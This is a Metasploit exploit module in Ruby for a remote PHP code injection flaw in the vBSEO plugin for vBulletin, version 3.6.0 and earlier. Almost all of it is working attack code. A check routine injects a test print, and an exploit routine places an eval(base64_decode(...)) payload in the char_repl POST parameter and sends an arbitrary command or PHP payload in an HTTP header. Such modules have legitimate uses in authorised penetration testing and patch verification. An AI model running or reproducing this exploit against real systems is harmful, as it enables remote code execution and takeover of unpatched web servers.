vBSEO 3.6.0 PHP Code Injection

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection',  
'Description' => %q{  
This module exploits a vulnerability in the 'proc_deutf()' function  
defined in /includes/functions_vbseocp_abstract.php. User input passed through  
'char_repl' POST parameter isn't properly sanitized before being used in a call  
to preg_replace() function which uses the 'e' modifier. This can be exploited to  
inject and execute arbitrary code leveraging the PHP's complex curly syntax.  
},  
'Author' => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor  
'License' => MSF_LICENSE,  
'References' =>  
[  
['BID', '51647'],  
['URL', 'http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/'],  
['URL', 'http://www.exploit-db.com/exploits/18424/']  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 8190,  
'Keys' => ['php'],  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Jan 23 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),  
OptString.new('CMD', [false, "Command to execute"])  
], self.class)  
end  
  
def check  
flag = rand_text_alpha(rand(10)+10)  
data = "char_repl='{${print(#{flag})}}'=>"  
  
uri = ''  
uri << datastore['URI']  
uri << '/' if uri[-1,1] != '/'  
uri << 'vbseocp.php'  
  
response = send_request_cgi({  
'method' => "POST",  
'uri' => uri,  
'data' => "#{data}"  
})  
  
if response.code == 200 and response.body =~ /#{flag}/  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
if datastore['CMD']  
p = "passthru(\"%s\");" % datastore['CMD']  
p = Rex::Text.encode_base64(p)  
else  
p = Rex::Text.encode_base64(payload.encoded)  
end  
  
data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"  
  
uri = ''  
uri << datastore['URI']  
uri << '/' if uri[-1,1] != '/'  
uri << 'vbseocp.php'  
  
response = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'data' => data,  
'headers' => { 'Code' => p }  
})  
  
vprint_status(response.body)  
end  
  
end`